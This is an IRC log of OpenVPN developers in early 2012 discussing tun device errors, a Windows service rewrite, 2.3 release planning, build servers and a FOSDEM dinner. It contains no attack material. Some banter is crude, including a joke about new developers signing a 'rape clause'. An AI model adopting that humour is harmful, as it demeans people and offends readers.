<@dazo> :) 10:06 <@dazo> That's difficult for me to say, but regarding pronunciation they're probably equally hard ... (try saying sh and a rolling r at the same time, a quite common sound in Czech) ... but grammar wise, English is a joke compared to Czech 10:10 <@dazo> (7 cases, 5 verb groups which are declined differently, and exceptions; and exceptionally some exceptions to the exceptions ... to mention a few things) 10:10 < ecrist> I can't even roll my r's 10:11 < ecrist> automatic fail 10:11 <@dazo> :) 10:13 <+krzee> (try saying sh and a rolling r at the same time, a quite common sound in Czech) 10:13 <+krzee> is that like a pirate sound? 10:13 <+krzee> ARRR 10:13 <+krzee> SHARRR 10:13 <@dazo> hahaha, no not even close :) 10:13 < ecrist> Ar-L-L-L-L is what it sounds like when I try 10:13 < ecrist> srhrhrrrrrrrhshrhs 10:15 <@dazo> http://www.omniglot.com/soundfiles/udhr/udhr_cz.mp3 ... here's a little czech text 10:18 <@dazo> http://www.locallingo.com/sounds/czech/wav/soft_cons/reka_m.wav ... a single word with the nasty r ... 10:23 <+krzee> reka doesnt sound too hard to say 10:23 <+krzee> but i can roll mine cause i grew up around italian and speak spanish 10:24 <+krzee> that mp3 is crazy tho 10:24 <+krzee> but to me any of those languages are, including german 10:24 <+krzee> soooo outside my understanding 10:27 <@dazo> :) 10:29 * cron2 finds german totally easy 10:29 <@cron2> even my two-year-old daughter can do that 10:34 <@dazo> hahahaha 10:37 * dazo LOLs when he reads #openvpn scrollback now .... 10:38 <@dazo> (ilj is the nick ...) 10:42 < ecrist> I'll just stick to the master language. :P 10:43 <+krzee> chinese? 10:44 <+krzee> lol ya dazo 10:46 < ecrist> we don't have chinese overlords....yet 10:47 <@dazo> krzee: I'm just worried you might be wrong this time, in regards to ilj ... I just looked at the source code ... don't see anything obvious, but that error is appearing far away from tun stuff 10:48 <+krzee> no such device, likely an error from /sbin/ip 10:48 <@dazo> there's only one place where the "daemon() failed" string is 10:48 <+krzee> the command above it 10:48 <@dazo> daemon() failed: No such device (errno=19) 10:48 <+krzee> stemming from the fact that hes using static devices, but didnt use mktun 10:48 <+krzee> Jan 27 17:11:43 box-02 openvpn[27324]: /sbin/ip addr add dev tun-8-tun local 10.99.114.11 peer 10.99.114.1 10:48 <+krzee> Jan 27 17:11:43 box-02 openvpn[27330]: daemon() failed: No such device (errno=19) 10:49 <+krzee> i assumed the error it gave was from the os, namely a response to the above ip command 10:49 <@dazo> but daemon() is a separate operation done after the ip commands 10:49 <+krzee> are persistent devices no longer needed for static devices? 10:49 <@dazo> and some googling turns up some odd things with sshd .... where /dev/null is missing 10:50 <@dazo> I don't think so ... can easily test it out 10:50 <+krzee> true that is rather easy to test... 10:51 <@dazo> from a client perspective, adding --persist-tun and --persist-key doesn't break anything ... and I don't have pre-created the tun/tap device 10:52 <+krzee> ya it is opening dynamically 11:07 <+krzee> i wasnt thinking it was cause of the persist options, i just remember a time when using dev tun2 required tun2 to already be made, or openvpn would refuse to start 11:07 <+krzee> but evidently thats only for "tun#" or its no longer an issue 11:12 <@dazo> it might be some platforms struggle with it ... but I saw this was a Red Hat installation, and I know Linux does not struggle with this 11:56 <@cron2> dazo: have you seen the comments regarding openvpn.8 and your --route-up patch? I haven't checked that you really have all bits of the man page covered 11:57 <@dazo> cron2: I noticed afterwards that --route-up is documented two places .... 11:57 <@dazo> oh, I see my mail response didn't hit the mailing list ... I'll clean up that 11:58 <@dazo> (but I basically state clearly that the man page needs a revision, and developers are not the best suited persons for it) 11:59 <@cron2> true :) - but still, if route-up is documented in two place, route-pre-down should be as well 12:01 <@dazo> yeah, probably should 12:01 * dazo prepares to go home :) 12:07 -!- dazo is now known as dazo_afk 12:27 -!- Netsplit *.net <-> *.split quits: chantra 19:12 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 252 seconds] 21:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Sat Jan 28 2012 02:25 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:25 -!- mode/#openvpn-devel [+o cron2] by ChanServ 03:04 -!- mattock [~samuli@openvpn/corp/admin/mattock] has left #openvpn-devel [] 07:51 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 07:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Excess Flood] 12:26 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:26 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:32 <@cron2> dazo: your mail still didn't show up on the list 14:40 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:40 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:02 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 21:09 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 21:09 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 22:02 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] --- Day changed Sun Jan 29 2012 09:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 10:54 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:09 <@d12fk> mattock: how about a CIA for this fine channel, check out #commits 14:10 <@d12fk> quite cool to see all commits in realtime in one place 14:10 <@mattock> ah yeah 14:10 <@mattock> nice idea 14:11 <@mattock> some IRC wizard can maybe accomplish that :P 14:13 <@d12fk> http://cia.vc/ is the place to get these things going 14:13 <@vpnHelper> Title: CIA.vc (at cia.vc) 16:07 <@mattock> achsoo... I have to check that out 19:34 * ecrist could do that 19:34 < ecrist> I'll look into it tomorrow 23:35 < ecrist> phpBB is fucking pissing me off --- Day changed Mon Jan 30 2012 00:52 <@andj> d12fk: sorry for the slow reaction, was on a skiing holiday for a week :) 00:52 <@andj> d12fk: I'm arriving Friday evening, and leaving Sunday evening. 00:53 <@andj> my wife is probably coming along, she's not entirely sure yet 01:16 -!- novaflash [~novaflash@openvpn/user/novaflash] has quit [Ping timeout: 255 seconds] 01:56 -!- dazo_afk is now known as dazo 03:18 <@cron2> andj: cool :) 03:43 <@d12fk> andj: are you joining us for dinner on saturday? 03:43 <@d12fk> cron2: anything yet? 03:43 <@d12fk> i think i should make the reservation soon as it'll be Sat. and Brussels, not sure 03:47 <@cron2> d12fk: nothing yet, no idea where she is hiding. We'll need to find other references for "good food and beer in Brussels" 03:49 <@d12fk> oki, any ideas/experiences welcome, i'll post as i find places 04:12 <@cron2> asking on $someotherchannel led to this initial response... 04:12 <@cron2> 11:12 < SuA> and tbfh, it's hard to go wrong... if the place looks decent, it usually does serve decent food :) 04:14 <@d12fk> that doesnt help =/ 04:15 <@cron2> yeah... :) - waiting for somewhat more specific 05:24 <@cron2> I got a recommendation \o/ 05:24 <@cron2> 11:43 [nopedial(~bodhi@jumper.lon1.uk.gbxs.net)] Park Side Brasserie 05:24 <@cron2> 11:43 [nopedial(~bodhi@jumper.lon1.uk.gbxs.net)] Avenue de la Joyeuse Entr\u00e9e, 24 05:24 <@cron2> 11:43 [nopedial(~bodhi@jumper.lon1.uk.gbxs.net)] Blijde Inkomstlaan, 24 05:24 <@cron2> 11:43 [nopedial(~bodhi@jumper.lon1.uk.gbxs.net)] Brussel 1040 Bruxelles 05:24 <@cron2> 11:43 [nopedial(~bodhi@jumper.lon1.uk.gbxs.net)] was pretty good when i went for LINX local 05:24 <@cron2> 11:43 [nopedial(~bodhi@jumper.lon1.uk.gbxs.net)] even if it seemed a bit posh and expensive 05:28 <@d12fk> looks posh indeed, not sure about expensive as its Brussels after all 05:31 * cron2 never went to a restaurant in brussels so far - only conferences and airports, and that was all quite expensive 07:25 <@andj> I'll ask my parents, they lived there for 4 years 07:55 <@d12fk> andj: that'd be great 07:57 <@d12fk> the restaurants recommended at tripadvisor seem more appropriate for couples than random geeks. =) 07:57 <@dazo> hehehe 07:57 <@d12fk> or is anyone up for candlelight dinner? 07:58 <@dazo> sweet talking about OpenVPN .... :-P 07:58 <@d12fk> honey commit 415421c24ac5b62d59fb8f03076521cba6f126cc was really sweet of you <3 07:59 <@dazo> lol 08:03 <@cron2> so where (and when) exactly *are* we going to meet on Saturday? Are there pictures of you folks available? 08:04 * dazo considers if he should bring his red fedora to be more visible :-P 08:10 <@andj> lol 08:12 <@dazo> (All who starts to work for Red Hat, gets a red fedora on the new hire orientation :)) 08:20 <@cron2> dazo: good plan, so we can just gather around you 08:41 <@d12fk> most of us can meet at the hotel on friday i guess 08:43 <@mattock> cron2: I'm the one who looks like a trap :P 08:43 <@mattock> as ecrist suggested 08:46 < ecrist> lol 08:47 * cron2 looks like a typical unix geek - beard, hairy, middle-aged :) 08:47 <@cron2> black clothes, of course, and sandals 08:48 <@mattock> sandals in the winter? 08:48 <@cron2> if the snow is not higher than a few cm, yes 08:49 <@cron2> black sandals, of course 08:49 <@cron2> with black socks 08:49 <@mattock> cool! 08:49 <@mattock> here in Turku we got this one guy who wears shorts, a T-shirt and sandals all around the year 08:49 <@mattock> even when it's -20 degrees celsius 08:49 <@cron2> shorts is a bit extreme :) 08:50 <@mattock> yep 08:54 <@d12fk> if you're hairy enough no problem =) 08:56 * dazo really wants to scare resha (on #openvpn) from trying anything code wise ....... 08:56 <@dazo> <dazo> it's all in C 08:56 <@dazo> <resha> what software should I use? vb.net ? 08:56 <@dazo> <resha> I have only studied vb6 and only few on c++ 08:56 <@dazo> <resha> thru reading 08:57 * cron2 <- scared 08:57 < ecrist> all new developers must sign the rape clause 08:57 < ecrist> trips decides how they get it 08:57 <@dazo> I almost said: "You probably shouldn't try this, you really asked too many wrong questions now" 08:57 < ecrist> ;) 08:58 <@dazo> hehe 09:00 <@dazo> LOL! http://www.emacswiki.org/pics/static/TabsSpacesBoth.png 09:03 <@d12fk> maybe resha could review ma patches =) 09:03 <@d12fk> vb.net -> windows dev 09:03 <@cron2> d12fk: bring your patches with you to brussels! :) 09:04 <@d12fk> i can show off the current standing with the service 09:04 <@d12fk> and give details about the general architecture 09:13 <@cron2> andj: circled you! 09:14 <@cron2> (not that I had a useful foto in g+) 09:19 <@dazo> [OT] ... this can get interesting ... http://cryptome.org/2012/01/0074.htm (Is it really Comodo CA database files?) 09:19 <@vpnHelper> Title: Comodo Hack Databases? (at cryptome.org) 11:16 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:16 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:24 -!- dazo is now known as dazo_afk 11:45 <@andj> /quit 11:45 <@andj> oops :) 17:38 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Quit: Leaving.] 17:39 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:39 -!- mode/#openvpn-devel [+o raidz] by ChanServ 18:23 -!- novaflash_away [~novaflash@openvpn/user/novaflash] has joined #openvpn-devel 18:23 -!- novaflash_away is now known as novaflash 18:28 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 276 seconds] 20:25 -!- Netsplit *.net <-> *.split quits: @cron2 22:02 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Tue Jan 31 2012 01:49 -!- dazo_afk is now known as dazo 02:11 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:11 -!- mode/#openvpn-devel [+o cron2] by ChanServ 04:08 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 04:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:39 <@dazo> hmm .... over 70 Red Hat people will come to FOSDEM ... I'd guess the red fedora approach of finding me might not be that efficient 04:44 <@cron2> uh indeed 05:51 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 05:53 -!- dazo is now known as dazo_afk 07:05 -!- dazo_afk is now known as dazo 07:10 <@d12fk> fyi the proxy "patch" is actually mostly a rewrite 07:11 <@d12fk> ahh i ment service "patch" 07:12 <@d12fk> i doubt anyone can review it on the list 07:19 <@d12fk> s/can/is willing to/ 07:28 <@dazo> d12fk: is it one or many patches? 07:36 <@d12fk> one 07:37 * cron2 is curious how it looks like (and is willing to spend some time staring at it and argueing with d12fk) 07:39 <@d12fk> thats good 07:39 <@d12fk> it's still in a messy state in parts 07:40 <@d12fk> but the general concept is visible 07:40 <@d12fk> well, if you can oversee ~1000 line of C code 07:43 <@d12fk> i can give you a peek if you care 07:59 <@cron2> not today or tomorrow, but fri/sa/sun :) 08:13 <@dazo> d12fk: if it's possible to split it up into smaller related chunks, that would help reviewing it 08:13 * dazo is in a phone meeting now and for the next couple of hours ... won't be too responsive in that period 08:14 <@d12fk> splitting up a rewrite is a major pita 08:15 <@d12fk> the very current standing (may even not compile atm) http://pastebin.com/BaQze4W2 08:16 <@d12fk> and bits will change until fosdem too 08:17 <@d12fk> btw: 08:17 <@d12fk> static DWORD 08:17 <@d12fk> RouteIPv6 (BOOL add, ipv6_route_t *route, undo_lists_t *lists) 08:17 <@d12fk> { 08:17 <@d12fk> // TODO: implement 08:17 <@d12fk> return 0; 08:17 <@d12fk> } 08:17 <@d12fk> =) 08:17 <@dazo> hehe ... /me knows whom to poke ;-) 08:18 <@d12fk> not much work but i had to prioritize =) 08:19 <@d12fk> ARP cache flush seems broken in win7 as well 08:19 <@d12fk> maybe the next target for delegation 08:20 <@cron2> if we ship 2.3 with "new windows service", we need to have v6 routes - otherwise we have "v6 will only work if you do not use the service", and that stinks 08:21 <@d12fk> 2.3 is far away 08:21 <@cron2> 5 days, if my counting is right 08:21 <@cron2> alpha release is planned for sunday 08:21 <@d12fk> hehe then i guess the service will not be part of 2.3 08:21 <@cron2> what's your estimate how time you need? 08:22 <@cron2> (shipping 2.4 6 weeks after 2.3 would be a nice change toward a more active development model... :-) ) 08:22 <@d12fk> something like that should work 08:23 <@d12fk> the service will be in our UTM v9 beta as well, so feedback should get in from that side as well 08:23 <@d12fk> but we're still at ovpn 2.1.1 08:23 <@d12fk> so.. 08:24 <@cron2> your UTM has very mature IPv6 support, so having IPv6 in OpenVPN on Astaro would be really great 08:25 <@d12fk> yes, will be the next big thing besides IKEv2. do you care for a shallow demo of how ovpn is integrated into out product at fosdem? I'd need to prepare a VM then. 08:26 <@cron2> I haven't seen it yet, but have heard lots of praise - so yes, that would be nice 08:26 <@dazo> we can ship 2.3 alpha ... knowing that service daemon will come later in the alpha/beta releases 08:26 <@d12fk> oki i see what i can do, otherwise we can do it via VPN which will suck. =) 08:27 <@d12fk> dazo: or put it in and see how thing develop 08:27 <@dazo> yeah ... we don't need to be too careful with alpha releases 08:27 <@cron2> true 08:27 <@d12fk> be sure it will attract testers 08:27 <@dazo> beta releases, we're avoiding too much new features - but add what is needed for stabilising it 08:28 <@dazo> release candidate, only bugfixes to stabilise 08:28 * dazo wants RCs to be so useful it is not hazardous to test it in production environments 08:37 * ecrist wonders where raidz is 11:24 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 244 seconds] 11:28 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 11:39 -!- dazo is now known as dazo_afk 12:49 -!- Irssi: #openvpn-devel: Total of 11 nicks [5 ops, 0 halfops, 1 voices, 5 normal] 16:18 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 16:19 -!- mode/#openvpn-devel [+o mattock] by ChanServ 17:21 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 18:10 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 18:18 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:18 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Feb 01 2012 02:52 -!- dazo_afk is now known as dazo 04:23 <@d12fk> how about http://www.lesbrassins.com 04:23 <@vpnHelper> Title: Les Brassins - Restaurant - Ixelles - réservation/phone: 02 512 69 99 (at www.lesbrassins.com) 04:23 <@d12fk> look cosy to my standards 04:25 <@d12fk> and its relatively close to fosdem 04:36 <@d12fk> to recap, joining in for dinner are andj, cron2, dazo, mattock, adriaan and myself. how about the spouses? would they enjoy the geeknic, too? 04:37 <@d12fk> oops, i guess i have to ask mattock by mail 04:38 <@dazo> I'm travelling alone, so for me it doesn't matter ... but I don't mind more people :) 04:39 <@dazo> restaurant looks nice 04:41 * dazo see wine and beer prices ... and feel an urge to scream and cry out loud 04:43 <@dazo> (I had one single glass of wine on a reasonably priced restaurant in Oslo last weekend .... €8) 04:51 <@d12fk> i though it was even more expensive 04:52 <@d12fk> can I get an ack for the restaurant from one more guy pls. 08:20 -!- Irssi: #openvpn-devel: Total of 11 nicks [5 ops, 0 halfops, 1 voices, 5 normal] 11:47 -!- dazo is now known as dazo_afk 12:03 <@cron2> f12fk: looks good, no spouse or wife with me :) 13:35 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:35 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:05 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:05 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:05 -!- mattock [~samuli@openvpn/corp/admin/mattock] has left #openvpn-devel [] 14:05 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:05 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:46 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock] 14:46 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:47 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:51 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 17:37 -!- d12fk [~heiko@exit0.net] has quit [Read error: Operation timed out] 19:07 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Quit: Leaving.] 20:02 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] --- Day changed Thu Feb 02 2012 07:16 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 07:16 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 07:59 -!- dazo_afk is now known as dazo 08:06 <@andj> d12fk: andj and adriaan are one and the same 08:06 <@andj> <--- 08:09 <@d12fk> yeah i figured that out myself *proud* 08:10 <@andj> Who's heading to the beer event on Friday? 08:10 * andj <--- 08:42 -!- dazo is now known as dazo_afk 08:59 <@d12fk> i made a reservation for http://www.lesbrassins.com/ sat. 19h 08:59 <@vpnHelper> Title: Les Brassins - Restaurant - Ixelles - réservation/phone: 02 512 69 99 (at www.lesbrassins.com) 09:00 <@d12fk> easy to get there from ulb/fosdem by tram 09:28 <@cron2> andj: I'm not, this sounds like "too many people in there" and I'm not particularily keen on crowded and noisy rooms 09:28 <@cron2> old age showing 09:36 <@andj> :) 09:37 <@andj> I'm heading there with a few friends from university who happen to be at FOSDEM for different reasons 10:01 * ecrist wishes HE was at FOSDEM 10:09 <@cron2> ecrist: if you leave now, you'll be there on time 10:13 < ecrist> I doubt the wife would approve 10:13 < ecrist> she's already bitter I go to BSDCan every year 10:15 <@cron2> sell wife, use money for flight ticket? 10:15 < ecrist> wth, why didn't I think of that? 10:15 <@cron2> my wife isn't particularily happy, but has married *me* and that's part of me - "go to a few conferences every now and then" 10:16 < ecrist> she'll get used to it, but she never gets to travel much 10:34 < ecrist> can someone write an IPv6 FAQ for openvpn? 10:49 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 10:49 -!- mode/#openvpn-devel [+o raidz] by ChanServ 10:49 < ecrist> raidz: my man 10:52 <@raidz> hey hey 10:58 * ecrist points to vB 10:59 <@raidz> ecrist: dude was sick or something 10:59 <@raidz> he is actually back today 10:59 <@raidz> and forgot his password to vb 11:03 < ecrist> lol 11:04 < ecrist> I sent him a password reminder from the forum 11:04 < ecrist> I've essentially got ldap authentication working 11:04 < ecrist> now I just need to make it pretty 11:06 < ecrist> I just need to clear with with my boss, but I negotiated a deal with the DC we're in to get some decent bandwidth in a real DC 11:06 < ecrist> (instead of my basement) 11:08 <@raidz> awesome! 11:09 <@raidz> isn't there a good DC in Minnessota? 11:09 <@raidz> forget the name of it 11:12 < ecrist> this will be at US Internet 11:12 < ecrist> there's a few good DC's in minnesota 11:12 < ecrist> lots of big corporate DCs 11:13 <@raidz> Ahh cool, that would make sense, with all those big companies hq's there in Minneapolis/St. Paul 11:15 < ecrist> yeah 11:16 < ecrist> Target Corp has like 4 HUGE DCs, United Healthcare, Best Buy, Hewlet-Packard, IBM, and some others 12:09 <@cron2> ecrist: well, I can write the answers for your FAQ, but haven't seen the FQs... so if one of you collects FQs, I'll A 12:16 < ecrist> cron2: gotcha, I'll come up with a few 12:19 <@cron2> (I have no time to read -users or the forum, so I won't see anything frequently asked there - sorry for that, not enough time) 12:47 <@andj> interesting: http://fosdem.org/2012/schedule/track/security_devroom 12:47 <@vpnHelper> Title: fosdem.org (at fosdem.org) 13:42 -!- novaflash [~novaflash@openvpn/user/novaflash] has left #openvpn-devel [] 18:27 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:27 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:04 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Quit: Leaving.] --- Day changed Fri Feb 03 2012 05:30 <@vpnHelper> RSS Update - wishlist: Connection On Demand or Instant Connection <http://forums.openvpn.net/topic9764.html> 08:07 -!- dazo_afk is now known as dazo 09:22 <@cron2> heya 09:22 <@cron2> arrived in brussels 09:31 <@dazo> cron2: you're here in brussels now? 09:31 * dazo is there too 09:31 <@cron2> dazo: yes, at my friend's place 09:31 <@dazo> nice! 09:31 <@cron2> the snow is amazing :-) 09:31 <@dazo> mattock sees if someone wants to go out for dinner a bit later today 09:31 <@cron2> dazo: where are you and mattock? 09:31 <@dazo> Hotel Centrale, close to the Brussel Central station 09:32 * cron2 was considering this, and decided to stay with his friend tonight, show baby photos and trade stories 09:32 <@cron2> dinner with openvpn geeks tomorrow :-) 09:33 <@dazo> yeah :) 09:33 <@dazo> and andj wants to drink beer :) 09:33 <@cron2> dazo: if you have time, there's an un-ACKed patch on the list :-) (which needs a minor adjustment due to me forgetting to remove a "TODO!" comment...) 09:34 <@dazo> I've noticed it .... just had too much other things to do :) 09:34 * dazo has been sitting at Food Factory somewhere downtown for the last 3 hours working 09:34 <@cron2> unsurprisingly :-) 09:35 <@cron2> (argh, my local wifi has 10% packet loss, and that really messes up interactive sessions) 09:35 <@dazo> (battery can handle one more hour now) 09:35 <@cron2> paid-for work stuff? 09:36 <@dazo> yeah 09:36 <@dazo> had a little backlog to catch up on 09:36 <@cron2> how boring... (and exactly what I'm doing right now :) ) 09:38 <@dazo> hahaha :) 09:38 <@dazo> I'm going offline now ... heading to the hotel to charge battery and do some offline work :) 09:38 <@cron2> didn't get my "must be done today!" workload done this morning before leaving to the airport... OpenVPN testing got in the way :-) 09:40 <@dazo> :) 09:45 * dazo heads out for the snow 09:45 -!- dazo [dazo@openvpn/community/developer/dazo] has left #openvpn-devel ["Leaving"] 09:51 <@cron2> now that's hard-core 11:11 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:11 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:37 <+krzee> cron2, do that work on the plane =] 14:54 -!- uuuppz [~uuuppz@78.129.207.46] has joined #openvpn-devel 14:56 < uuuppz> http://sourceforge.net/p/openvpnui/code/26/tree/trunk%20openvpnui-code/Esp.Tools.OpenVPN.Configuration/SetupAPI.cs?force=True 14:56 <@vpnHelper> Title: OpenVPN UI / Code / [r26] /trunk openvpnui-code/Esp.Tools.OpenVPN.Configuration/SetupAPI.cs (at sourceforge.net) 14:57 < uuuppz> ;) 19:03 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Quit: Leaving.] 23:51 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Sat Feb 04 2012 01:56 <@d12fk> uuuppz: that looks like code to instantiate another tap device. can you do that in C and add it to openvpn itself? i think that's the place for that functionality 03:19 <@cron2> mornin' from fosdem 03:19 <@cron2> anyone awake yet? 03:31 <@cron2> welcome talk starting in Janson 03:51 * cron2 heads to the info desk 04:09 <@cron2> \o/ found people 04:22 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:22 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:24 <@cron2> good morning mattock :) 04:24 <@mattock> good morning 04:24 * cron2 hates typing on mobile phones, but laptops are not really practical here either 04:25 <@mattock> at least my n900 has a qwerty keyboard... it's not that bad actually 04:35 < uuuppz> d112f: As I've said many a time before, don't do c anymore :) 04:35 < uuuppz> but yeh its code to add another tap device 04:37 < uuuppz> if you wan c 04:37 < uuuppz> look for source of devcon in ddk 04:38 < uuuppz> thats whst your bundling in tapinstall.exe 04:41 <@mattock> I definitely need some coffee soonish... too warm in here and some guy is talking about the internals of xmpp ;) 04:42 <@mattock> makes one sleepy 04:42 <@cron2> I'm sure we can reimplement openvpn on top of xmpp 04:42 <@mattock> hahaha 04:43 <@mattock> well, it was called a "magical" protocol... 06:19 <@vpnHelper> RSS Update - testtrac: Fix RUN_SUDO functionality for t_client.sh <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=fc3ee19dee6c66e2325a24e864b5328128404e83> || Implement IPv6 interface config with non-/64 prefix lengths. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=c55e9562d64f381ba46b83a02503f6239e23d3ef> || Windows UTF-8 input/output <http: 06:40 <@mattock> new public test server is now accessible 06:40 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving] 06:40 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:40 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:43 <@mattock> installing openvpn there... 06:44 <@mattock> I need to locate the configs for previous build server, no clue where they are :P 06:54 <@cron2> oops 06:55 <@mattock> +1 06:56 <@mattock> you win some, you lose some... though I'm not sure what I won this time 07:03 <@cron2> mattock: http://public.greenie.net/gert/misc/openvpn-test-server.tar.gz 07:03 <@mattock> thx 07:55 <@vpnHelper> RSS Update - testtrac: Enhance the error handling in _openssl_get_subject() <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=1951b415ed37187c26997f3fe1eb4c59e8dbf298> || UTF-8 X.509 distinguished names <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=5e86fd93779482b90a191f929edebe414cd78a4f> 08:11 <@mattock> did some changes to buildmaster configuration, it should now trigger full set of builds after ~15 minute delay 08:20 <@cron2> building! 08:21 <@andj> cool 08:51 -!- dazo [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:51 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:52 <@dazo> mattock: I missed that it's another talk in the same room I wanted to catch ... so staying here longer 08:52 <@dazo> but I'll prepare for yet another push now 08:52 <@cron2> dazo: just go and enjoy your day, and leave us here alone in the dark...! 08:53 <@cron2> <jewish grandmother rant> 08:53 <@dazo> hehehe 08:54 * dazo checks if buildbot did catch the push he did an hour ago 08:54 <@dazo> nope, it seems it didn't act upon it 08:54 <@cron2> something was built 08:54 <@cron2> about half an hour ago 08:55 <@dazo> oh true! I misread the commitish 09:01 <@vpnHelper> RSS Update - testtrac: Minor code cleanup: cleaned up error handling in verify_cert. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=5b5420573cd6c78e1a87eaa4946e13b9150f9076> 09:02 <@dazo> let's see what happens now :) 09:03 -!- dazo is now known as dazo|afk 09:46 -!- dazo|afk is now known as dazo 09:47 -!- dazo is now known as dazo_afk 09:50 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock] 11:29 <@cron2> gaaaah. openvpn on openbsd sucks big time "--dev tun" just does not work at all, because it will then try to configure an interface "tun". So you need to specificy "--dev tun2" (etc) all the time 11:29 * cron2 goes fixing 16:34 -!- lbalbalba [lbalbalba@dhcp-077-251-003-044.chello.nl] has joined #openvpn-devel 16:35 -!- lbalbalba [lbalbalba@dhcp-077-251-003-044.chello.nl] has quit [Client Quit] 17:45 -!- Intensity [bgdh4rG9xt@unaffiliated/intensity] has quit [Ping timeout: 255 seconds] 18:05 -!- Intensity [1RlKwavoGr@unaffiliated/intensity] has joined #openvpn-devel --- Day changed Sun Feb 05 2012 02:31 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 252 seconds] 03:03 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 03:03 -!- mode/#openvpn-devel [+o cron2] by ChanServ 03:03 <@cron2> hi, where are you folks? 03:03 * cron2 is at opensc and the room is empty 03:13 <@cron2> 03:15 <@cron2> in the hackers room in building h now 03:36 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:36 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:52 <@andj> morning 03:52 <@andj> my phone died, where is everyone? 03:53 <@andj> ah, building h.. omw 04:10 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock] 04:20 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:37 -!- mattock 